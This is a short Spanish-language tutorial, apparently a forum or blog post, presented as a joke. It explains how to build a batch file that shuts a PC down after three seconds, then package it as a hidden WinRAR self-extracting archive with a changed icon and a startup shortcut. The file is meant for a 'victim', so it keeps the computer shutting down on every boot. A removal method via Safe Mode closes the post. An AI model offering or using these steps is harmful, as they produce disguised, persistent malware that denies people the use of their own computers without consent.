PayPal MxicoPayPal.com/mx - Pague y Reciba Pagos con PayPal. Es Fcil y Seguro. Regstrese Hoy!

Es solo una broma

Lo que hace es apagar la pc en tres segundos

y deja un acceso directo en el inicio, entonces cuando enciendes la pc se vuelve a apagar MANTIENE LA PC APAGADA

Como hacerlo ?? Solo necesitas: * Block de notas * Winrar * Una victima

En el block de notas escribes @echo off shutdown /s /t 03 cls exit

Lo guardas con la extensin .bat o .cmd, osea bat.cmd o cmd.bat el nombre no importa lo importante es la extensin. Luego lo comprimes en Winrar como un archivo autoextraible

Entras en avanzado/autoextraible

En ejecutar tras la extraccin pones el nombre del archivo

En avanzado, aadir acceso directo crear en inicio Fichero de origen el nombre del archivo Nombre del acceso directo es indiferente cualquiera es lo mismo

En la pestaa modos elijes ocultar todo y sobrescribir todos los archivos

En la pestaa texto e icono puedes cambiar el icono para que no aparezca el de winrar

SOLUCIONPara poder borrarlo, tan solo manten presionado F8 cuando inicia Windows. Aparece esta pantalla

Eliges iniciar en modo seguro, una ves iniciado borras el acceso directo del inicio